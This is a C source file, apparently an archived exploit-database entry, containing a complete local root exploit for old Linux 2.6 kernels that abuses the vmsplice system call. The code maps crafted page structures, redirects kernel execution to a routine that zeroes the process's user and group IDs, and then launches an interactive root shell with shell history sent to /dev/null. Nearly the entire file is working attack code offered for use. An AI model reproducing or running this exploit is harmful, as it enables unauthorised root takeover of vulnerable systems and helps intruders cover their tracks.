279 lines
No EOL
6.6 KiB
C
279 lines
No EOL
6.6 KiB
C
/*
|
|
# Author: DigitALL
|
|
# Version: 2.6.18-20
|
|
# Tested on: Linux System
|
|
# Greetz To: Zombie KroNicKq and All 1923turk.Biz Members
|
|
# Code : 2.6.18 2008 Exploit's İs Edited 2009 Version.I Am Tested 2.6.18-20 2009 Linux is Rooted.Coming Soon.By DigitALL
|
|
|
|
# EDB Note: Adding `#include <sys/user.h>` may help it compile
|
|
*/
|
|
|
|
#define _GNU_SOURCE
|
|
#include <stdio.h>
|
|
#include <errno.h>
|
|
#include <stdlib.h>
|
|
#include <string.h>
|
|
#include <malloc.h>
|
|
#include <limits.h>
|
|
#include <signal.h>
|
|
#include <unistd.h>
|
|
#include <sys/uio.h>
|
|
#include <sys/mman.h>
|
|
#include <asm/page.h>
|
|
#define __KERNEL__
|
|
#include <asm/unistd.h>
|
|
|
|
#define PIPE_BUFFERS 16
|
|
#define PG_compound 14
|
|
#define uint unsigned int
|
|
#define static_inline static inline __attribute__((always_inline))
|
|
#define STACK(x) (x + sizeof(x) - 40)
|
|
|
|
struct page {
|
|
unsigned long flags;
|
|
int count;
|
|
int mapcount;
|
|
unsigned long private;
|
|
void *mapping;
|
|
unsigned long index;
|
|
struct { long next, prev; } lru;
|
|
};
|
|
|
|
void exit_code();
|
|
char exit_stack[1024 * 1024];
|
|
|
|
void die(char *msg, int err)
|
|
{
|
|
printf(err ? "[-] %s: %s\n" : "[-] %s\n", msg, strerror(err));
|
|
fflush(stdout);
|
|
fflush(stderr);
|
|
exit(1);
|
|
}
|
|
|
|
#if defined (__i386__)
|
|
|
|
#ifndef __NR_vmsplice
|
|
#define __NR_vmsplice 316
|
|
#endif
|
|
|
|
#define USER_CS 0x73
|
|
#define USER_SS 0x7b
|
|
#define USER_FL 0x246
|
|
|
|
static_inline
|
|
void exit_kernel()
|
|
{
|
|
__asm__ __volatile__ (
|
|
"movl %0, 0x10(%%esp) ;"
|
|
"movl %1, 0x0c(%%esp) ;"
|
|
"movl %2, 0x08(%%esp) ;"
|
|
"movl %3, 0x04(%%esp) ;"
|
|
"movl %4, 0x00(%%esp) ;"
|
|
"iret"
|
|
: : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
|
|
"i" (USER_CS), "r" (exit_code)
|
|
);
|
|
}
|
|
|
|
static_inline
|
|
void * get_current()
|
|
{
|
|
unsigned long curr;
|
|
__asm__ __volatile__ (
|
|
"movl %%esp, %%eax ;"
|
|
"andl %1, %%eax ;"
|
|
"movl (%%eax), %0"
|
|
: "=r" (curr)
|
|
: "i" (~8191)
|
|
);
|
|
return (void *) curr;
|
|
}
|
|
|
|
#elif defined (__x86_64__)
|
|
|
|
#ifndef __NR_vmsplice
|
|
#define __NR_vmsplice 278
|
|
#endif
|
|
|
|
#define USER_CS 0x23
|
|
#define USER_SS 0x2b
|
|
#define USER_FL 0x246
|
|
|
|
static_inline
|
|
void exit_kernel()
|
|
{
|
|
__asm__ __volatile__ (
|
|
"swapgs ;"
|
|
"movq %0, 0x20(%%rsp) ;"
|
|
"movq %1, 0x18(%%rsp) ;"
|
|
"movq %2, 0x10(%%rsp) ;"
|
|
"movq %3, 0x08(%%rsp) ;"
|
|
"movq %4, 0x00(%%rsp) ;"
|
|
"iretq"
|
|
: : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
|
|
"i" (USER_CS), "r" (exit_code)
|
|
);
|
|
}
|
|
|
|
static_inline
|
|
void * get_current()
|
|
{
|
|
unsigned long curr;
|
|
__asm__ __volatile__ (
|
|
"movq %%gs:(0), %0"
|
|
: "=r" (curr)
|
|
);
|
|
return (void *) curr;
|
|
}
|
|
|
|
#else
|
|
#error "unsupported arch"
|
|
#endif
|
|
|
|
#if defined (_syscall4)
|
|
#define __NR__vmsplice __NR_vmsplice
|
|
_syscall4(
|
|
long, _vmsplice,
|
|
int, fd,
|
|
struct iovec *, iov,
|
|
unsigned long, nr_segs,
|
|
unsigned int, flags)
|
|
|
|
#else
|
|
#define _vmsplice(fd,io,nr,fl) syscall(__NR_vmsplice, (fd), (io), (nr), (fl))
|
|
#endif
|
|
|
|
static uint uid, gid;
|
|
|
|
void kernel_code()
|
|
{
|
|
int i;
|
|
uint *p = get_current();
|
|
|
|
for (i = 0; i < 1024-13; i++) {
|
|
if (p[0] == uid && p[1] == uid &&
|
|
p[2] == uid && p[3] == uid &&
|
|
p[4] == gid && p[5] == gid &&
|
|
p[6] == gid && p[7] == gid) {
|
|
p[0] = p[1] = p[2] = p[3] = 0;
|
|
p[4] = p[5] = p[6] = p[7] = 0;
|
|
p = (uint *) ((char *)(p + 8) + sizeof(void *));
|
|
p[0] = p[1] = p[2] = ~0;
|
|
break;
|
|
}
|
|
p++;
|
|
}
|
|
|
|
exit_kernel();
|
|
}
|
|
|
|
void exit_code()
|
|
{
|
|
if (getuid() != 0)
|
|
die("wtf", 0);
|
|
|
|
printf("[+] root\n");
|
|
putenv("HISTFILE=/dev/null");
|
|
execl("/bin/bash", "bash", "-i", NULL);
|
|
die("/bin/bash", errno);
|
|
}
|
|
|
|
int main(int argc, char *argv[])
|
|
{
|
|
int pi[2];
|
|
size_t map_size;
|
|
char * map_addr;
|
|
struct iovec iov;
|
|
struct page * pages[5];
|
|
|
|
uid = getuid();
|
|
gid = getgid();
|
|
setresuid(uid, uid, uid);
|
|
setresgid(gid, gid, gid);
|
|
|
|
printf("-----------------------------------\n");
|
|
printf(" Linux 2.6.18-20 2009 Local Root Exploit\n");
|
|
printf(" By DigitALL\n");
|
|
printf("-----------------------------------\n");
|
|
|
|
if (!uid || !gid)
|
|
die("!@#$", 0);
|
|
|
|
/*****/
|
|
pages[0] = *(void **) &(int[2]){0,PAGE_SIZE};
|
|
pages[1] = pages[0] + 1;
|
|
|
|
map_size = PAGE_SIZE;
|
|
map_addr = mmap(pages[0], map_size, PROT_READ | PROT_WRITE,
|
|
MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
|
|
if (map_addr == MAP_FAILED)
|
|
die("mmap", errno);
|
|
|
|
memset(map_addr, 0, map_size);
|
|
printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
|
|
printf("[+] page: 0x%lx\n", pages[0]);
|
|
printf("[+] page: 0x%lx\n", pages[1]);
|
|
|
|
pages[0]->flags = 1 << PG_compound;
|
|
pages[0]->private = (unsigned long) pages[0];
|
|
pages[0]->count = 1;
|
|
pages[1]->lru.next = (long) kernel_code;
|
|
|
|
/*****/
|
|
pages[2] = *(void **) pages[0];
|
|
pages[3] = pages[2] + 1;
|
|
|
|
map_size = PAGE_SIZE;
|
|
map_addr = mmap(pages[2], map_size, PROT_READ | PROT_WRITE,
|
|
MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
|
|
if (map_addr == MAP_FAILED)
|
|
die("mmap", errno);
|
|
|
|
memset(map_addr, 0, map_size);
|
|
printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
|
|
printf("[+] page: 0x%lx\n", pages[2]);
|
|
printf("[+] page: 0x%lx\n", pages[3]);
|
|
|
|
pages[2]->flags = 1 << PG_compound;
|
|
pages[2]->private = (unsigned long) pages[2];
|
|
pages[2]->count = 1;
|
|
pages[3]->lru.next = (long) kernel_code;
|
|
|
|
/*****/
|
|
pages[4] = *(void **) &(int[2]){PAGE_SIZE,0};
|
|
map_size = PAGE_SIZE;
|
|
map_addr = mmap(pages[4], map_size, PROT_READ | PROT_WRITE,
|
|
MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
|
|
if (map_addr == MAP_FAILED)
|
|
die("mmap", errno);
|
|
memset(map_addr, 0, map_size);
|
|
printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
|
|
printf("[+] page: 0x%lx\n", pages[4]);
|
|
|
|
/*****/
|
|
map_size = (PIPE_BUFFERS * 3 + 2) * PAGE_SIZE;
|
|
map_addr = mmap(NULL, map_size, PROT_READ | PROT_WRITE,
|
|
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
|
|
if (map_addr == MAP_FAILED)
|
|
die("mmap", errno);
|
|
|
|
memset(map_addr, 0, map_size);
|
|
printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
|
|
|
|
/*****/
|
|
map_size -= 2 * PAGE_SIZE;
|
|
if (munmap(map_addr + map_size, PAGE_SIZE) < 0)
|
|
die("munmap", errno);
|
|
|
|
/*****/
|
|
if (pipe(pi) < 0) die("pipe", errno);
|
|
close(pi[0]);
|
|
|
|
iov.iov_base = map_addr;
|
|
iov.iov_len = ULONG_MAX;
|
|
|
|
signal(SIGPIPE, exit_code);
|
|
_vmsplice(pi[1], &iov, 1, 0);
|
|
die("vmsplice", errno);
|
|
return 0;
|
|
} |